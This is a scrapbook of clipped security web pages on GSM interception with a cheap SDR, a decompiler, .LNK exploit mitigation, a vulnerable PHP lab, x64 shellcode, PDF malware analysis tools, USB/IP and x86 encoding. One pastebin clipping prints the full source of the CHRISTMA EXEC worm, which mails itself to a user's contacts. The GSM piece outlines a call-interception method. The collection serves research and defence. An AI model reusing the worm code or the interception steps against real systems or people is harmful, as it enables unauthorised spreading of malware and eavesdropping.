Since then, the costs of hardware have gone down, two terabytes of rainbow
tables have been published, and all the techniques and knowledge required to
listen in on cell phone calls have been available**.** The only thing missing
was the hardware. Now, with a super low-cost USB TV tuner come software
defined radio, \[domi\] has put together a tutorial  for cracking GSM with
thirty dollars in hardware**.**

Previous endeavours to listen in and decrypt GSM signals  used fairly
expensive software defined radios – USRP systems that cost a few thousand
dollars a piece**.** Since the advent of RTL-SDR, the price of software
defined radios has come down to about $30 on eBay, giving anyone with a Paypal
account the ability to listen in on GSM calls and sniff text messages**.**

The process of cracking GSM first involves getting the TMSI – Temporary Mobile
Subscriber Identifier – a unique ID for each phone in a certain cell**.** This
is done by sending a silent SMS that will send back and acknowledgement an SMS
has been received on the victim’s phone, but won’t give the victim any
indication of receiving a message**.**

From there, the attacker listens to the GSM signals in the cell, receiving
bursts attached to a TMSI, and cracking the encrypted stream using 1**.** 6 TB
of rainbow tables.

\[domi\] put up a four-part tutorial series \(part 1 above; part 2 , part 3 ,
and part 4 \) that goes over the theory and the actual procedure of cracking
text messages and voice calls with a simple USB TV tuner**.** There are a few
limitations; the attacker must be in the same cell as the victim, and it looks
like real-time voice decoding isn’t yet possible**.** Cracking GSM for $30,
though, that’s good enough for us**.**

****

# Boomerang Decompiler

**Created:**| _10/23/2009 3:12:30 PM_  
---|---  
**Updated:**| _10/23/2009 3:12:37 PM_  
**Author:**| __  
**Tags:**| _bookmark Decompiler_  
  

Hide Menu

# Boomerang

## General

Introduction  
News  
Download  
Boomerang's license  

## Status

What Boomerang can do  
What Boomerang can't do  
Still to be done  

## Research

Papers about Boomerang  
Information for students  

## Documentation

Making Boomerang  
FAQ  
"I've lost my source code\!"  
Using CVS  
Terminology  
Using the -sf switch  

## Technical

Coding conventions  
Doxygen documentation  
Boomerang workflow  

## Sourceforge

Project Page  
Screenshots  
Forum  
Browse CVS  
Donate  
Activity Statistics

## Other Resources

Decompilation Wiki  
QuantumG's Blog  

<img src='img/Temp2_1123' alt='SourceForge.net Logo' />

# Download

<img src='img/Temp2_1122' /> **This release is strictly for developers and
experimenters, to get an idea of what Boomerang is about without having to
download and compile a lot of code. Machine code decompilation, unlike
Java/.NET decompilation, is still a very immature technology, so if you're
hoping to decompile a large binary with this release you will be disappointed.
Please read the documentation on the Boomerang web site.**

If you've been wanting to get a feel for what Boomerang can do and you don't
want to have to download 20MB of source code and compile it all, these binary
releases may be for you.

  * Source code, as usual, is available from CVS.
  * If you have any questions please ask them at the Forum.

## Windows

  * **boomerang-win32-alpha-0.3.1**: Contains both the QT gui and the console version of Boomerang. For the console version, use `boomerang -h` to view help about the switches.

## Linux

For technical reasons, Boomerang is dynamically linked with libc, libstdc++,
and the Boehm garbage collector \(libgc\). Developers may well already have
libgc installed, or you can download it from the separate release, build it
yourself from boomerang-alpha-0.2-libs, or build it yourself from source code.
Boomerang also requires libexpat, but this release has libexpat statically
linked.

  * **boomerang-linux-alpha-0.3**: This is a binary only Linux/X86 release.
  * **libgc**: This release contains a required library for Boomerang \(libgc.so.1, the Boehm garbage collector\). You only need to download this library if you do not have libgc installed on your system. You can also download the source and compile your own version from here. This release is a compilation of version 6.6 of the collector, using gcc 4.0.0.

## _Old Release 0.2_

**Windows**  

  * **boomerang-win32-gui-alpha-0.2.rev1**: This is a gui version of the Boomerang decompiler. You can unzip it into the same directory as the non-gui decompiler; only the .exe \(boomerang\_gui.exe\) is different from the non-gui release. Compiled with Microsoft Visual Studio 2003. Quick usage: File New project; next to File to Decompile press Browse. Choose a binary file \(e.g. from the test\pentium folder\), and either double click or select and press Open. You only need to find the path to the test directory the first time. Press OK on the new project dialog. When the first pass is complete, select either a file or a cluster in the tree control at the top right. View Code to see the final output. Output can be copied from the result window, or the whole file is in output\<binary-name>\<binary-name>.c \(relative to boomerang\_gui.exe\).
  * **boomerang-win32-alpha-0.2.rev1**: The console version of Boomerang. Personally, I prefer this version; it has a few more command line switches \(the GUI version has checkboxes and the like for most but not all switches\), and the console version saves the log output to a file \(the GUI version displays it in a textbox, which can get very slow for larger files\). Use `boomerang -h` to view help about the switches.

**Linux**  
For technical reasons, Boomerang is dynamically linked with libc, libstdc++,
and the Boehm garbage collector \(libgc\). Developers may well already have
libgc installed, or you can download it from the separate release, build it
yourself from boomerang-alpha-0.2-libs, or build it yourself from source code.
Boomerang also requires libexpat, but this release has libexpat statically
linked.

  * **boomerang-alpha-0.2-lib6.tar.bz2**: This is a binary only Linux/X86 release for distributions with the libstdc++.so.6 library. Examples include Fedora Core 4.
  * **boomerang-alpha-0.2-lib5**: This is a binary only Linux/X86 release for distributions with the libstdc++.so.5 library. Examples include Fedora Core 2 and Debian 3.1.
  * **libgc**: This release contains a required library for Boomerang \(libgc.so.1, the Boehm garbage collector\). You only need to download this library if you do not have libgc installed on your system. You can also download the source and compile your own version from here. This release is a compilation of version 6.6 of the collector, using gcc 4.0.0.

Copyright 2002-2006 The Boomerang Decompiler Project

# Mitigating .LNK Exploitation With Ariad « Didier Stevens

**Created:**| _7/20/2010 8:11:06 AM_  
---|---  
**Updated:**| _7/20/2010 8:11:20 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit windows environment awesome_  
  

### Mitigating .LNK Exploitation With Ariad

Filed under: My Software,Vulnerabilities — Didier Stevens @ 13:42  

Today I tested @Ivanlef0u ‘s .LNK PoC with my latest Ariad tool.

I adapted the PoC to work on a CD-ROM for drive D. When you load the CD-ROM
with the PoC \(I use an ISO file inside a VM\) and take a look at DbgView’s
output, you’ll notice that payload gets executed:

<img src='img/Temp2_5380.png' width='656' height='496' />

With Ariad installed on the machine in its default configuration \(just block
\autorun.inf\), the PoC still works:

<img src='img/Temp2_5383.png' width='562' height='292' />

<img src='img/Temp2_5381.png' width='656' height='496' />

But configuring Ariad to block access to executables \(this includes .LNK\)
prevents the PoC from executing:

<img src='img/Temp2_5384.png' width='562' height='292' />  
<img src='img/Temp2_5385.png' width='656' height='496' />

Access to the .LNK file is denied, and Windows Explorer can’t start the
payload.

And configuring Ariad to prevent files to be mapped in memory \(this is
something done by Windows with executables\) also prevents the PoC from
executing:

<img src='img/Temp2_5382.png' width='562' height='292' />  
<img src='img/Temp2_5379.png' width='656' height='496' />

This time, access to the .LNK file is not denied, but dll.dll is prevented
from loading into memory, thus again preventing the payload from executing.

You can use Ariad if you want to mitigate attacks with these shortcut links
until Microsoft releases a patch. As it is expected that Microsoft will not
release a patch for Windows XP SP2, Ariad can offer permanent mitigation.

Be sure to read Ariad‘s documentation before using it.

# Mutillidae 1: Setup \(Hacking Illustrated Series InfoSec Tutorial Videos\)

**Created:**| _5/9/2009 11:02:55 AM_  
---|---  
**Updated:**| _9/18/2009 10:23:08 AM_  
**Author:**| __  
**Tags:**| _OWASP web-app-sec bookmark irongeek_  
  
Mutillidae 1: Setup

Mutillidae is a deliberately vulnerable set of PHP scripts I wrote to
implement the OWASP Top 10 web vulnerabilities. I plan to use these scripts to
illustrate common web app attacks in a series of future videos. The easiest
way to get up and running with Mutillidae is to use XAMPP, an easy to install
Apache distribution containing MySQL, PHP and Perl. This first video covers
setting up Mutillidae, which can be downloaded from:  
http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-
vulnerable-php-owasp-top-10  

# AwO4ffCCIAAdANF.png \(PNG-Grafik, 1024 × 1390 Pixel\)

**Created:**| _8/9/2012 2:07:20 PM_  
---|---  
**Updated:**| _8/9/2012 2:08:02 PM_  
**Author:**| __  
**Tags:**| _reversing pe_  
  

  

  

  

<img src='img/AwO4ffCCIAAdANF.png' width='1024' height='1390'
alt='http://2.bp.blogspot.com/-SpKCuFfVJSU/UCL5rJhQ5AI/AAAAAAAAFjo/3TcOoqu-7X4/s1600/AwO4ffCCIAAdANF.png'
/>

# x64 Windows Shellcode « Didier Stevens

**Created:**| _2/3/2012 12:43:09 PM_  
---|---  
**Updated:**| _2/3/2012 12:43:21 PM_  
**Author:**| __  
**Tags:**| _shellcode windows x64_  
  

### x64 Windows Shellcode

Filed under: My Software,Shellcode — Didier Stevens @ 20:00  

Last year I found great x64 shellcode for Windows on McDermott’s site. Not
only is it dynamic \(lookup API addresses\), but it even handles forwarded
functions.

But it’s written for MASM, and I prefer to use NASM. Hence I translated it,
but also normalized it to adhere to the x64 calling convention and fixed a bug
in the error handling.

And I modularized it so you can use it like my 32-bit shellcode.

Here’s the classic MessageBox example:

`01`| `; x64 shellcode to display a "Hello from injected shell code!"
MessageBox, then return to caller`  
---|---  
`02`| `; Written for NASM assembler (http://www.nasm.us) by Didier Stevens`  
---|---  
`03`| `; Source code put in public domain by Didier Stevens, no Copyright`  
---|---  
`04`| `; https://DidierStevens.com`  
---|---  
`05`| `; Use at your own risk`  
---|---  
`06`| `;`  
---|---  
`07`| `; History:`  
---|---  
`08`| `; 2011/12/27: Refactored functions to include file sc-x64-api-
functions.asm`  
---|---  
`09`|  
---|---  
`10`| `%include "sc-x64-macros.asm"`  
---|---  
`11`|  
---|---  
`12`| `INDEX_KERNEL32_LOADLIBRARYA equ 0 * POINTERSIZE + STACKSPACE`  
---|---  
`13`| `INDEX_MESSAGEBOXA equ 1 * POINTERSIZE + STACKSPACE`  
---|---  
`14`| `APIFUNCTIONCOUNT equ 2`  
---|---  
`15`|  
---|---  
`16`| `segment .text`  
---|---  
`17`|  
---|---  
`18`| `; Setup environment`  
---|---  
`19`| `sub rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE
;reserve stack space for called functions and for API addresses`  
---|---  
`20`|  
---|---  
`21`| `LOOKUP_API KERNEL32DLL, KERNEL32_LOADLIBRARYA,
INDEX_KERNEL32_LOADLIBRARYA`  
---|---  
`22`|  
---|---  
`23`| `lea rcx, [rel USER32DLL]`  
---|---  
`24`| `call [rsp + INDEX_KERNEL32_LOADLIBRARYA]`  
---|---  
`25`|  
---|---  
`26`| `LOOKUP_API USER32DLL, USER32_MESSAGEBOXA, INDEX_MESSAGEBOXA,
INDEX_KERNEL32_LOADLIBRARYA`  
---|---  
`27`|  
---|---  
`28`| `; Display MessageBox`  
---|---  
`29`| `xor r9, r9`  
---|---  
`30`| `lea r8, [rel TITLE]`  
---|---  
`31`| `lea rdx, [rel HELLO]`  
---|---  
`32`| `xor rcx, rcx`  
---|---  
`33`| `call [rsp + INDEX_MESSAGEBOXA]`  
---|---  
`34`|  
---|---  
`35`| `add rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE`  
---|---  
`36`| `ret`  
---|---  
`37`|  
---|---  
`38`| `%include "sc-x64-api-functions.asm"`  
---|---  
`39`|  
---|---  
`40`| `KERNEL32DLL db "KERNEL32.DLL", 0`  
---|---  
`41`| `KERNEL32_LOADLIBRARYA db "LoadLibraryA", 0`  
---|---  
`42`|  
---|---  
`43`| `USER32DLL db "USER32.DLL", 0`  
---|---  
`44`| `USER32_MESSAGEBOXA db "MessageBoxA", 0`  
---|---  
`45`|  
---|---  
`46`| `HELLO db "Hello from injected shell code!", 0`  
---|---  
`47`| `TITLE db "Message", 0`  
---|---  
Here’s what I changed exactly from the original MASM code:  
1\) non-volatile registers are preserved \(by storing them on the stack\)  
2\) building the DLL name for forwarded functions is done with a variable on
the stack frame of lookup\_api, and not of the caller  
3\) the address of LoadLibraryA is passed via r9, and no longer r15  
4\) lookup\_api not only returns the function address in rax, but also stores
it in memory at an address provided in r8  
5\) fixed the error handling bug \(stack restoration\)  
6\) added some EQUs to make it easier to use this code as a “library”
\(include\)

You can get the code from my shellcode page. Look for filenames starting with
sc-x64 in the zip file.

# pastebin - collaborative debugging tool

**Created:**| _12/24/2009 11:41:00 AM_  
---|---  
**Updated:**| _12/24/2009 11:41:23 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis LOLZ_  
  

  1. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
  2. /\* LET THIS EXEC \*/
  3. /\* \*/
  4. /\* RUN AND \*/
  5. /\* \*/
  6. /\* ENJOY \*/
  7. /\* \*/
  8. /\* YOURSELF\! \*/
  9. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
  10. 'VMFCLEAR'
  11. SAY ' \* '
  12. SAY ' \* '
  13. SAY ' \*\*\* '
  14. SAY ' \*\*\*\*\* '
  15. SAY ' \*\*\*\*\*\*\* '
  16. SAY ' \*\*\*\*\*\*\*\*\* '
  17. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\* A'
  18. SAY ' \*\*\*\*\*\*\* '
  19. SAY ' \*\*\*\*\*\*\*\*\*\*\* VERY'
  20. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\* '
  21. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* HAPPY'
  22. SAY ' \*\*\*\*\*\*\*\*\*\*\* '
  23. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\* CHRISTMAS'
  24. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* '
  25. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* AND MY'
  26. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\* '
  27. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* BEST WISHES'
  28. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* '
  29. SAY ' \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* FOR THE NEXT'
  30. SAY ' \*\*\*\*\*\* '
  31. SAY ' \*\*\*\*\*\* YEAR'
  32. SAY ' \*\*\*\*\*\* '
  33.   34. /\* browsing this file is no fun at all
  35. just type CHRISTMAS from cms \*/
  36. Address 'COMMAND'
  37. 'MAKEBUF'
  38. 'IDENTIFY \(STACK'
  39. Parse Pull userid . nodeid .
  40. 'STATE' userid 'NETLOG A'
  41. If Rc <> 0 Then Do
  42. 'ERASE CHRISTMA EXEC A'
  43. 'DROPBUF'
  44. Exit
  45. End
  46. If Date\('J'\) > 88015 Then Do
  47. 'ERASE CHRISTMA EXEC A'
  48. 'DROPBUF'
  49. Exit
  50. End
  51. spools = 'NONE'
  52. 'EXECIO \* CP \(STRING Q RDR \*'
  53. Parse Pull junk
  54. Do i=1 To Queued\(\)
  55. Parse Pull . spoolid .
  56. spools = spools spoolid
  57. End
  58. users = 'NONE'
  59. Do Forever
  60. 'EXECIO 1 DISKR' userid 'NETLOG A'
  61. If Rc <> 0 Then Leave
  62. Parse Pull . fn ft . . . touser . tonode .
  63. If Find\(users,touser\) <> 0 Then Iterate
  64. If nodeid = tonode Then Do
  65. purflag = 'OFF'
  66. If fn = 'CHRISTMA' & ft = 'EXEC' Then Do
  67. users = users touser
  68. 'EXECIO 0 CP \(STRING TRANS RDR ALL FROM' touser
  69. 'MAKEBUF'
  70. 'EXECIO \* CP \(STRING Q RDR ALL \*'
  71. Parse Pull junk
  72. Do j=1 To Queued\(\)
  73. Parse Pull . spoolid . . size . . . . sfn sft .
  74. If Find\(spools,spoolid\) <> 0 Then Iterate
  75. size = Strip\(size,'L','0'\)
  76. If sfn = 'CHRISTMA' & sft = 'EXEC' Then Do
  77. If size = 46 Then ,
  78. 'EXECIO 0 CP \(STRING TRANS RDR' spoolid 'TO' touser
  79. Else 'EXECIO 0 CP \(STRING PURGE RDR' spoolid
  80. purflag = 'ON'
  81. End
  82. Else 'EXECIO 0 CP \(STRING TRANS RDR' spoolid 'TO' touser
  83. End
  84. 'DROPBUF'
  85. If purflag = 'OFF' Then ,
  86. 'EXEC SENDFILE CHRISTMA EXEC A TO' touser '\(NOLOG'
  87. End
  88. End
  89. Else Do
  90. If fn = 'CHRISTMA' & ft = 'EXEC' Then ,
  91. 'EXEC SENDFILE CHRISTMA EXEC TO' touser 'AT' tonode '\(NOLOG'
  92. End
  93. End
  94. 'ERASE CHRISTMA EXEC A'
  95. 'DROPBUF'
  96. Exit

  
**Submit a correction or amendment below \(click here to make a fresh
posting\)**  
After submitting an amendment, you'll be able to view the differences between
the old and new posts easily.  
Syntax highlighting:NoneBashCC++HTMLJavaJavascriptLuaPerlPHPPythonRuby
----------------------------NoneABAPActionScriptAdaApache Log
FileAppleScriptASM \(NASM based\)ASPAutoItBashBlitz BasicBNFCC for MacsCAD
DCLCAD
LispC++C\#ColdFusionCSSDDelphiDiffDOSEiffelErlangFortranFreeBasicGeneroGame
MakerGroovyHaskellHTMLIDLINIInno ScriptJavaJavascriptLatexLispLuaLinden
Scripting LanguageMatLabM68000 AssemblerMPASMmIRCMySQLNullSoft
InstallerObjective COCamlOpenoffice.org BASICOracle
8PascalPerlPHPPL/SQLPythonQBasic/QuickBASICRailsRobotsRubySchemeSmalltalkSmartySQLTCLunrealScriptVisualBasicVB.NETVisualFoxProXMLZ80
Assembler  
  
To highlight particular lines, prefix each line with @@  

# RE Corner

**Created:**| _1/2/2011 12:12:04 AM_  
---|---  
**Updated:**| _1/2/2011 12:13:34 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools Malware-analysis awesome_  
  

# PDF Stream Dumper

  
**Author: Dave  
Date: 07.21.10 - 7:55pm**  
  
  
This is a free tool for the analysis of malicious PDF documents. It also has
some features that can make it useful for pdf vulnerability development.  
  
Has specialized tools for dealing with obsfuscated javascript, low level pdf
headers and objects, and shellcode. In terms of shellcode analysis, it has an
integrated interface for libemu sctest, an updated build of iDefense sclog,
and a shellcode\_2\_exe feature.  
  
Javascript tools include integration with JS Beautifier for code formatting,
the ability to run portions of the script live for live deobsfuscation,
toolbox classes to handle extra canned functionality, as well as a pretty
stable refactoring engine that will parse a script and replace all the screwy
random function and variable names with logical sanitized versions for
readability.  
  
Tool also supports unescaping/formatting manipulated pdf headers, as well as
being able to decode filter chains \(multiple filters applied to the same
stream object.\)  
  
**Download:PDF Stream Dumper Setup 0.9.194 \(includes full vb6 source\)**  
  
Note: This package includes shellcode samples and strings associated with PDF
script exploitation. This is enough to trigger some Anti Virus software to
issue warnings.  
  
**Training videos for PDFStreamDumper:**

  * Feature Overview \(17mb / 40min\)
  * Adobe Api Support v.9.194+ \(4mb / 10min\)
  * Analysis of a complex sample using page Data 
    * part 1 getPageNthWord \(4mb / 10min\)
    * part 2 URL Decoder & this.info object \(3mb / 8min\)
  * Analysis of a complex sample using getAnnots \(4mb / 10min\)
  * Demo of the new Sample Database Search Plugin \(4.5mb / 11min\)
  * Video for plugin developers and script writers \(7mb / 17min\)
  * shows some new js\_ui features on an arguments.callee encrypted script 
    * Sample 1 \(6mb / 14min\)
    * Sample 2 \(4mb / 10min\)

If you are looking for malicious pdf samples to analyze make sure to check out
the Contagio and jsunpack sites.  
  
**International users:** This new build should now work on systems with
extended character set languages set as their default language. If you
encounter errors please let me know.  
  
**Full feature list**

  * supported filters: FlateDecode, RunLengthDecode, ASCIIHEXDecode, ASCII85Decode, LZWDecode
  * Integrated shellcode tools: 
    * sclog gui \(**Shellcode Analysis** tool I wrote at iDefense\)
    * scTest gui **libemu based** Shellcode analysis tool
    * Shellcode\_2\_Exe functionality
    * Export unescaped bytes to file
  * supports filter chaining \(ie multiple filters applied to same stream\)
  * supports unescaping encoded pdf headers
  * scriptable interface to process multiple files and generate reports
  * view all pdf objects
  * view deflated streams
  * view stream details such as file offsets, header, etc
  * save raw and deflated data
  * search streams for strings
  * scan for functions which contain pdf exploits \(dumb scan\)
  * format javascript using js beautifier \(see credits in readme\)
  * view streams as hex dumps
  * zlib compress/decompress arbitrary files
  * replace/update pdf streams with your own data
  * basic javascript interface so you can run parts of embedded scripts
  * PdfDecryptor w/source - uses iTextSharp and requires .Net Framework 2.0
  * Basic Javascript de-obsfuscator
  * can hide: header only streams, duplicate streams, selected streams
  * js ui also has access to a toolbox class to 
    * simplify fragmented strings
    * read/write files
    * do hexdumps
    * do unicode safe unescapes
    * disassembler engine
    * replicate some common Adobe API \(new\)

Current Automation scripts include:

  * **csv\_stats.vbs -** Builds csv file with results from lower status bar for all files in a directory
  * **pdfbox\_extract.vbs -** use pdfbox to extract all images and text from current file
  * **string\_scan.vbs -** scan all decompressed streams in all files in a directory for a string you enter
  * **unsupported\_filters.vbs -** scan a directory and build list of all pdfs which have unsupported filters
  * **filter\_chains.vbs -** recursivly scans parent dir for pdfs that use multiple encoding filters on a stream.
  * **obsfuscated\_headers.vbs -** recursivly scans parent dir for pdfs that have obsfuscated object headers
  * **pdfbox\_extract\_text\_page\_by\_page.vbs -** uses pdfbox to extract page data into individual files   
  

Current Plugins include:

  * Build\_DB.dll - Search and sort data inside multiple samples, move and organize files
  * obj\_browser.dll - view layout and data inside pdf in text form

  
  

[code]

    **Credits:**
    ---------------------------
    stream parser was written by VBboy136 - 12/9/2008
    http://www.codeproject.com/KB/DLL/PDF2TXTVB.aspx
    
    Scintilla by Neil Hodgson [neilh@scintilla.org] 
    http://www.scintilla.org/
    
    ScintillaVB by Stu Collier
    http://www.ceditmx.com/software/scintilla-vb/
    
    JS Beautify by Einar Lielmanis, _
    conversion to Javascript code by Vital, 
    http://jsbeautifier.org/
    
    zlib.dll by Jean-loup Gailly and Mark Adler
    http://www.zlib.net/
    
    CRC32 code by Steve McMahon
    http://www.vbaccelerator.com/home/vb/code/libraries/CRC32/article.asp
    
    iTextSharp code by Bruno Lowagie and Paulo Soares
    http://itextpdf.com/terms-of-use/index.php
    
    olly.dll GPL code Copyright (C) 2001 Oleh Yuschuk.
    http://home.t-online.de/home/Ollydbg/
    
    libemu and sctest.exe written by Paul Baecher and Markus Koetter 2007.  
    http://libemu.carnivore.it/about.html
            
    sclog is a tool i wrote back at iDefense source here  
    http://labs.idefense.com/software/download/?downloadID=8 
    
    Interface by dzzie@yahoo.com 
    http://sandsprite.com
    
    Other thanks to Didier Stevens for the info on his blog on tags and encodings.
    http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways
    
    
    
[/code]

  
  
<img src='img/Temp2_6685.png' width='655' height='393' />  
  
  
  
<img src='img/Temp2_6682.png' width='655' height='319' />  
  
  
  
<img src='img/Temp2_6683.png' width='655' height='331' />  
  
<img src='img/Temp2_6686.png' />  
  
<img src='img/Temp2_6684.png' />  
  
  
---  
  

# USB/IP Project

**Created:**| _1/23/2013 10:23:52 AM_  
---|---  
**Updated:**| _1/23/2013 10:23:52 AM_  
**Author:**| __  
**Tags:**| _Embedded Linux network-security_  
  

# **U** SB/IP Project****

## USB Request over IP Network****

<img src='img/Temp2_8663.png' alt='usbip-project' />

USB/IP Project aims to develop a general USB device sharing system over IP
network**.** To share USB devices between computers with their full
functionality, USB/IP encapsulates "USB I/O messages" into TCP/IP payloads and
transmits them between computers**.** Download the latest version , or check
it out by Subversion **.**

Feb 21, 2011: Updated windows client driver to allow x64 operation**.** We
have received signed versions from the ReactOS  project**.** \(This is needed
to allow installation without workarounds on Win7/Vista x64**.**\) ReactOS has
the proper code signing certificate and offer its use to other open source
projects React OS Driver Signing **.** Great initiative**\!**

Updated at Jul 10, 2009: The preview release of usbip windows client is now
available**.** See screenshots  and try it **\!**

Updated at Jan 13, 2009: A couple of months ago, the latest drivers were
included in the linux-staging tree**.** See discussions in linux-kernel ML ,
and in linux-usb ML **.** The project is extremely eager for developers who
improve the drivers and userland tools**.**

Mar 8, 2007: This page has been moved from http://usbip.naist**.** jp/. The
old page is mirrored at here **.**

Developer Wanted\!

# Sub Menu****

# about****

The USB/IP Project aims to develop a general USB device sharing system over IP
network**.** To share USB devices between computers with their full
functionality, USB/IP encapsulates "USB I/O messages" into TCP/IP payloads and
transmits them between computers**.** Original USB device drivers and
applications can be also used for remote USB devices without any modification
of them**.** A computer can use remote USB devices as if they were directly
attached; for example, we can ..**.**

  * USB storage devices: fdisk, mkfs, mount/umount, file operations, play a DVD movie and record a DVD-R media**.**
  * USB keyboards and USB mice: use with linux console and X Window System**.**
  * USB webcams and USB speakers: view webcam, capture image data and play some music**.**
  * USB printers, USB scanners, USB serial converters and USB Ethernet interfaces: ok, use fine**.**

It is currently implemented as Linux device drivers and available under the
open source license GPL**.** Its I/O performance is enough practical in local
area network for all types of devices, including isochronous devices, without
any modification of Linux-original USB device drivers**.**

# Documentation****

## Overview****

In a client host, the VHCI \(Virtual Host Controller Interface\) driver is
implemented as a USB host controller driver**.** The VHCI driver emulates a
real USB host controller interface for virtual attachment/detachment,
enumeration and initialization of remote USB devices**.** It encapsulates USB
request blocks and then transmits USB/IP requests to remote server hosts**.**
In a server host, the Stub driver is implemented as a USB per-device
driver**.** The Stub driver decapsulates USB/IP requests into USB requests and
then submit them to real USB devices**.**

<img src='img/Temp2_8664.png' alt='usbip-design' />

### USB/IP Design Overview****

The project Wiki is here  \(depreciated soon by sourceforge update\)**.** See
also source code and below papers**.**

  * USB/IP - a Peripheral Bus Extension for Device Sharing over IP Network**.** Takahiro Hirofuchi, Eiji Kawai, Kazutoshi Fujikawa, and Hideki Sunahara**.** In the Proceedings of the FREENIX Track: USENIX Annual Technical Conference, pp**.** 47-60, April 2005**.** **\(Awarded FREENIX Track Best Paper**\!**\)**
  * USB/IP: A Transparent Device Sharing Technology over IP Network**.** Takahiro Hirofuchi, Eiji Kawai, Kazutoshi Fujikawa, and Hideki Sunahara**.** IPSJ Transactions on Advanced Computing Systems, Vol**.** 46, No. SIG11\(ACS11\), pp. 349-361, August 2005. \(Also appeared in IPSJ Digital Courier **.**\) 

## Install****

You need to compile both kernel modules and utility programs. See READMEs in
tarball**.**

## Usage****

See READMEs in tarball**.**

  * src/README 

## TODO & Future Plan****

Read Todo list in the project Wiki **.**

Read FAQ in the project Wiki **.**

  * "client" and "server" are confusing..**.**   
A server host has physical USB devices which are exported to a client
host**.** In the server host, load usbip\_common\_mod.ko and vhci-hcd**.** ko,
and then use usbipd. The client host imports a USB device virtually; the
client host may not have a real USB device**.** In the client host, load
usbip\_common\_mod.ko and usbip**.** ko, and then use usbip.

  * USB/IP is stable **?**   
It basically works for most USB devices under LAN \(Gb Ethernet is
better\)**.** It has minimum features \(e**.** g., attach/detach\) and your
contribution is welcome**.**

  * Is there a MS Windows client of USB/IP **?**   
There is one now, it is in the early stage of development, you can try it**.**
If it can't work for your USB devices, please report bug to us**.**

  * Does your USB/IP implementation have compatibility with other similar products**?**   
No, currently.

# Screenshots****

## usbview****

A remote USB webcam with an ov511 chip is virtually attached to a
computer**.** We can see ov511 under USB VHCI Root Hub.

<img src='img/Temp2_8665.png' alt='usbview screenshot' />

## Desktop****

xawtv is working for a remote USB webcam**.** A remote USB-HDD is also
attached to the computer.

<img src='img/Temp2_8666.png' alt='xawtv screenshot' />

# Download****

## Latest Release****

Download is available from sourceforge.net**.**

## SVN Repository****

See this instruction **.**

# Community****

## Mailing Lists****

  * usbip-devel \(the character\) lists.sourceforge.net 
  * Subscribe/Unsubscribe & Archives 

## Public Forums****

  * Open Discussion 

# Links****

# Contact****

Normally, please use the above mailing lists and forums.

  * usbip-devel \(the character\) lists.sourceforge.net \(**Recommended**\) 
  * Takahiro Hirofuchi < hirofuchi \(the character\) users.sourceforge.net >

****

# d0c\_s4vage: Interesting Behaviors in x86 Instructions

**Created:**| _4/6/2011 8:26:40 AM_  
---|---  
**Updated:**| _4/6/2011 8:26:40 AM_  
**Author:**| __  
**Tags:**| _aslr x86 awesome_  
  

### Interesting Behaviors in x86 Instructions

 _\*\*  
This is an expanded and improved version of a talk I gave at the last AHA\!
meeting here in Austin. My slides for that talk can be found here  
\*\*_  
  
Recently I've been working on my windbg extension, narly. Part of my intended
purpose for it is to be able to search for ROP gadgets, but to do that I
needed to find a disassembler that I could use. I couldn't use the
disassembler available through the windbg extension API, since the only thing
you can do is call IDebugControl::Disassemble, which just returns a string of
the disassembly. I could have used a number of other open-source
disassemblers, but decided to reinvent the wheel and write my own. A lot of
people would groan at the thought of reinventing the wheel, but I _usually_
enjoy it since it's one of the best ways I learn.  
  
I've been coding my disassembler straight from the Intel® 64 and IA-32
Architectures Software Developer's Manual: Volume 2A: Instruction Set
Reference, A-M and Volume 2B: Instruction Set Reference, N-Z. Reading through
specs that define how things are supposed to behave is always interesting,
because you start to understand some of the boundaries/corner cases and see
ways that some potentially interesting behaviors might occur. This blog post
is about some interesting techniques I've come across to represent the same
instruction in multiple ways \(using a different set of bytes to do the exact
same thing.\) _Note that I 've only been able to test this out on Intel
processors._  
  
To understand most of what I'll be talking about, you'll have to somewhat
understand the parts of an x86 instruction, as well as the "rules" that go
with them. Once I go over the "rules", I'll then explain the ways I've come up
with to represent the same instruction using different sets of bytes, both by
following the rules and by breaking them.  
  

### instructions and rules

  
An x86 instruction is made up of several parts:  
  

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

Everybody knows the opcode part of an instruction, but I'm betting fewer know
how the other parts of an instruction work and interact.  
  

### prefixes

[code]

    +----------+--------+--------+-----+--------------+-----------+
    | prefixes | opcode | modR/M | sib | displacement | immediate |
    +----------+--------+--------+-----+--------------+-----------+
    
[/code]

Prefixes are bytes that precede the opcode and modify the meaning or action of
the instruction. A single instruction can have up to four separate prefixes
\(one byte each\). Prefixes can be arranged in any order. Below is the list of
available prefixes:  
  

[code]

    prefix | name
    -------+-----------------------
      0xf0 | LOCK
      0xf2 | REPNE/REPZ
      0xf3 | REPE/REPZ
           |
      0x2e | CS Segment override
      0x36 | SS Segment override
      0x3e | DS Segment override
      0x26 | ES Segment override
      0x64 | FS Segment override
      0x65 | GS Segment override
           |
      0x2e | *Branch not taken
      0x3e | *Branch taken
           |
      0x66 | Operand-size override
      0x67 | Address-size override
     
    *for use only with Jcc instructions
    
[/code]

